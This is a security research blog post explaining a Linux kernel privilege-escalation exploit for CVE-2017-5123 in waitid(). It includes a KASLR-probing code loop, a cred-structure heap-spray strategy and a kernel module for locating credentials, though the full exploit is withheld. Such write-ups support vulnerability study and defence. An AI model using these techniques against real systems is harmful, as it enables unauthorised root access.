Exploiting CVE-2017-5123

This is a guest post by a young and talented Portuguese exploiter, Federico Bento. He won this year’s Pwnie for Epic Achievement exploiting TIOCSTI ioctl.

Days ago he posted a video demonstrating an exploit for CVE-2017-5123 and luckly for you I managed to convince him to do a write-up about it.

I hope you enjoy his work. Thanks Federico!

While this one was on a rush, I want to create another blog dedicated to Portuguese hackers and researchers content. We have some great talent on this country so hopefully I will be able to convince them to produce written content instead of just sitting in the shadows. Let’s see if they collaborate on this idea.
If you are a Portuguese hacker & researcher keep watching this space for news. If you already have some content (looking for all kinds of stuff, even Web related stuff is ok) please drop a mail to chulo@put.as (hahahahah).

Have fun,
fG!

And now off to Federico…

Introduction

This will be a quick write-up on how I exploited CVE-2017-5123, a Linux kernel vulnerability in the waitid() syscall for 4.12-4.13 versions. This vulnerability gives an attacker a write-not-what-only-where primitive, or in other words, the ability to write “non-controlled” user data to arbitrary kernel memory.

KASLR is bypassed using memory probing and root obtained via cred struct spraying and location predictability.

The video demonstrating my exploit in action was published on November 5th, as it can be seen here, https://www.youtube.com/watch?v=DfwOJIcV5ZA.

Surprisingly, Chris Salls independently published his own writeup and exploit on November 6th at https://salls.github.io/Linux-Kernel-CVE-2017-5123/. Awesome work there!

The Chrome Sandbox wasn’t in my scope though, I was after the more general case of arbitrary zero writes. AFAIK, this primitive by itself can’t be used to escape the Chrome Sandbox using Chris’ techniques.

So now, November 7th (0:30 a.m here in Portugal!), I’ll be detailing how I used this write-not-what-only-where vulnerability without a single read to get root.

Obviously, given other vulnerabilities, such as certain infoleaks, it would be an instant game over.

What spiked my interest, was what could one actually do with only this vulnerability by itself, or other vulnerabilities of this type, assuming all vanilla kernel protections.

More generally, what can one do when they’re presented solely with arbitrary zero writes into kernel memory (multiple arbitrary zero writes).

It didn’t matter if this was CVE-2017-5123 or other, I was after the techniques that could be used to increase our privileges with this primitive.

It’s powerful, but some would initially assume that it’s not enough these days.

The vulnerability

from kernel/exit.c

SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *, 
                infop, int, options, struct rusage __user *, ru)
{
    struct rusage r;
    struct waitid_info info = {.status = 0};
    long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
    int signo = 0;

    if (err > 0) {
        signo = SIGCHLD;
        err = 0;
        if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
            return -EFAULT;
        }
        if (!infop)
            return err;

        user_access_begin();
        unsafe_put_user(signo, &infop->si_signo, Efault);
        unsafe_put_user(0, &infop->si_errno, Efault);
        unsafe_put_user(info.cause, &infop->si_code, Efault);
        unsafe_put_user(info.pid, &infop->si_pid, Efault);
        unsafe_put_user(info.uid, &infop->si_uid, Efault);
        unsafe_put_user(info.status, &infop->si_status, Efault);
        user_access_end();
        return err;
Efault:
        user_access_end();
        return -EFAULT;
}

The vulnerability here is that there is a missing access_ok() check in the waitid() syscall since they’ve introduced unsafe_put_user() in version 4.12.

The macro access_ok() should basically ensure that the user specified pointer points to user space and not kernel space, since unprivileged users shouldn’t be able to write arbitrarily to kernel memory.

This is done by checking the address limit.

from arch/x86/include/asm/uaccess.h:

#define user_addr_max() (current->thread.addr_limit.seg)

...

/*
 * Test whether a block of memory is a valid user space address.
 * Returns 0 if the range is valid, nonzero otherwise.
 */
static inline bool __chk_range_not_ok(unsigned long addr,  
                                unsigned long size, unsigned long limit)
{
    /*
     * If we have used "sizeof()" for the size,
     * we know it won't overflow the limit (but
     * it might overflow the 'addr', so it's
     * important to subtract the size from the
     * limit, not add it to the address).
     */
    if (__builtin_constant_p(size))
        return unlikely(addr > limit - size);

    /* Arbitrary sizes? Be careful about overflow */
    addr += size;
    if (unlikely(addr < size))
        return true;
    return unlikely(addr > limit);
}

#define __range_not_ok(addr, size, limit)                \
({                                    \
    __chk_user_ptr(addr);                        \
    __chk_range_not_ok((unsigned long __force)(addr), size, limit); \
})

...

#define access_ok(type, addr, size)                    \
({                                    \
    WARN_ON_IN_IRQ();                        \
    likely(!__range_not_ok(addr, size, user_addr_max()));        \
})

This means that this vulnerability allows an unprivileged user to specify a kernel address by using infop when calling waitid(), and the kernel will happily write to it.

What is actually written though is hardly controlled.

From Chris’ post:

info.status is a 32 bit int, but constrained to be 0 < status < 256. info.pid can be somewhat controlled by repeatedly forking, but has a max value of 0x8000.

This, however, did not interest me. What interested me was that we could write zeros into arbitrary kernel memory.

Here’s what differentiates my exploit from Chris’ - If we could somehow find our cred’s structure, we could write zeros there to effectively get root privileges by overwriting cred->euid and cred->uid.

from include/linux/cred.h:

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC    0x43736564
#define CRED_MAGIC_DEAD    0x44656144
#endif
    kuid_t        uid;        /* real UID of the task */
    kgid_t        gid;        /* real GID of the task */
    kuid_t        suid;        /* saved UID of the task */
    kgid_t        sgid;        /* saved GID of the task */
    kuid_t        euid;        /* effective UID of the task */
    kgid_t        egid;        /* effective GID of the task */
    kuid_t        fsuid;        /* UID for VFS ops */
    kgid_t        fsgid;        /* GID for VFS ops */
    unsigned    securebits;    /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;    /* caps we're permitted */
    kernel_cap_t    cap_effective;    /* caps we can actually use */
    kernel_cap_t    cap_bset;    /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char    jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key    *process_keyring; /* keyring private to this process */
    struct key    *thread_keyring; /* keyring private to this thread */
    struct key    *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;    /* subjective LSM security */
#endif
    struct user_struct *user;    /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;    /* supplementary groups for euid/fsgid */
    struct rcu_head    rcu;        /* RCU deletion hook */
};

At this point we are completely blind though, we need a way to bypass KASLR and find the kernel heap.

KASLR bypass via memory probing

By using functions such as copy_from_user(), copy_to_user(), etc., we make sure that a kernel OOPS won’t happen when a bad address is specified by the user due to the page fault exception handler.

This makes sense, since unprivileged users shouldn’t be able to cause a DoS whenever they present an address that does not belong to the address space of the user space process.

The same happens by using unsafe_put_user(), which means that we can do some memory probing on the range of possible locations for the kernel heap!

I do this by using something along the lines of:

for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
    pid = fork();
    if (pid > 0) 
    {
        if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0) 
        {
            printf("[+] Found %p\n", i);
            break;
        }
    }
    else if (pid == 0)
        exit(0);
}

The trick here is that waitid() won’t return EFAULT when we present it a valid address, so we can do some memory probing this way.

Thanks for the enlightenment spender, not the exploits (well actually those were pretty cool at the time) :).

Now that we know where the kernel heap lives, how do we know where our cred’s structure live? The state of the kernel heap is pretty much unknown.

Heap Spraying

At this point I already had a clear idea of what I wanted/needed.

  • If we create hundreds or thousands of processes, hundreds or thousands of cred structures will be created in the kernel heap.

  • So my idea was to create these many processes that will check in a loop if they get euid of 0, by constantly calling geteuid().

  • If geteuid() returns 0, it means that we have hit the jackpot! From there, we can also write to cred->euid - 0x10, which is cred->uid.

By spraying the heap we increase the probability of hitting our target, but it is obviously not 100% reliable, just like Chris mentions in his heap spray.

Given the primitive we have, heap spraying obviously helps here :).

When spraying the heap with multiple struct cred’s and observed their location, I noticed that some addresses are more likely than others to where the creds will reside, even after reboots.

This can be observed without the need for some kernel debugging if one wants to try it out easily, simply use this kernel module which prints where cred->euid lives.

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h>        // for basic filesystem
#include <linux/proc_fs.h>    // for the proc filesystem
#include <linux/seq_file.h>    // for sequence files

static struct proc_dir_entry* jif_file;

static int
jif_show(struct seq_file *m, void *v)
{
    return 0;
}

static int
jif_open(struct inode *inode, struct file *file)
{
     printk("EUID: %p\n", &current->cred->euid);
     return single_open(file, jif_show, NULL);
}

static const struct file_operations jif_fops = {
    .owner    = THIS_MODULE,
    .open    = jif_open,
    .read    = seq_read,
    .llseek    = seq_lseek,
    .release    = single_release,
};

static int __init
jif_init(void)
{
    jif_file = proc_create("jif", 0, NULL, &jif_fops);

    if (!jif_file) {
        return -ENOMEM;
    }

    return 0;
}

static void __exit
jif_exit(void)
{
    remove_proc_entry("jif", NULL);
}

module_init(jif_init);
module_exit(jif_exit);

MODULE_LICENSE("GPL");

By forking and opening /proc/jif repeatedly, we can later check the output of printk() using dmesg.

# dmesg | grep EUID\:

[16485.192353] EUID: ffff88015e909a14
[16485.192415] EUID: ffff88015e9097d4
[16485.192475] EUID: ffff88015e909954
[16485.192537] EUID: ffff880126c627d4
[16485.192599] EUID: ffff88015e9094d4
[16485.192660] EUID: ffff88015e909414
[16485.192725] EUID: ffff88015e909294
[16485.192790] EUID: ffff88015e909054
[16485.192860] EUID: ffff8801358efdd4
[16485.192925] EUID: ffff8801358efd14
[16485.192991] EUID: ffff8801358efe94
[16485.193057] EUID: ffff88015e909354
[16485.193124] EUID: ffff88015e9091d4
[16485.193187] EUID: ffff8801358eff54
[16485.193249] EUID: ffff8801358efb94
[16485.193314] EUID: ffff8801358efa14
[16485.193381] EUID: ffff88015e909114
[16485.193449] EUID: ffff8801358ef894
[16485.193515] EUID: ffff8801358ef714
[16485.234054] EUID: ffff880125766d14
[16485.234150] EUID: ffff8801256e9954
[16485.234189] EUID: ffff8801256e9654
[16485.429875] EUID: ffff8801257661d4
[16485.429881] EUID: ffff8801256e9e94
[16485.603481] EUID: ffff8801358ef954
[16485.603543] EUID: ffff8801256e9b94
[16485.603582] EUID: ffff880126c62e94
[16485.603620] EUID: ffff8801358ef7d4
[16485.603658] EUID: ffff880126c62a14
[16485.603701] EUID: ffff880125766654
[16485.603743] EUID: ffff8801358ef654
[16485.603782] EUID: ffff8801257667d4
[16485.603824] EUID: ffff880125766a14
[16485.603864] EUID: ffff880125766b94
[16485.603906] EUID: ffff8801256e94d4
[16485.603943] EUID: ffff8801256e91d4
[16485.603979] EUID: ffff880126c62d14
[16485.604017] EUID: ffff88015e909654

[...]

We can kind of guess where they might be located, but obviously it’s just guessing :).

So now we know that at heap base + some offset, the probability of hitting our target is kind of high compared to the rest.

And so I start writing to these and adding PAGESIZE in hope that we overwrite one of these processes’ credentials. If that happens, we win!

We can also have some fun disabling SELinux by overwriting selinux_enforcing and selinux_enabled, as seen in my other post, http://www.openwall.com/lists/oss-security/2017/10/25/2.

The exploit

If you’ve read everything all the way down here, then I’m sure you can write your own. It’s not that hard! I’ve provided you with all the necessary information on how I exploited it. If I can, you can too :).

This is also more directed at presenting the exploit’s techniques given this primitive rather than this specific vulnerability. Obviously, we can do both :)

Conclusion

You’ve now seen that a vulnerability of this type, by itself, can still be dangerous when exploiting the Linux kernel.

I hope you enjoyed this write-up.

Thanks again spender, André Baptista @0xACB, and all xSTF.
Also a big thanks to @osxreverser for letting me post this in the legendary put.as ;).
Shout-out to .pt :).

Happy Hacking!!

https://twitter.com/uid1000

Thanks,
Federico Bento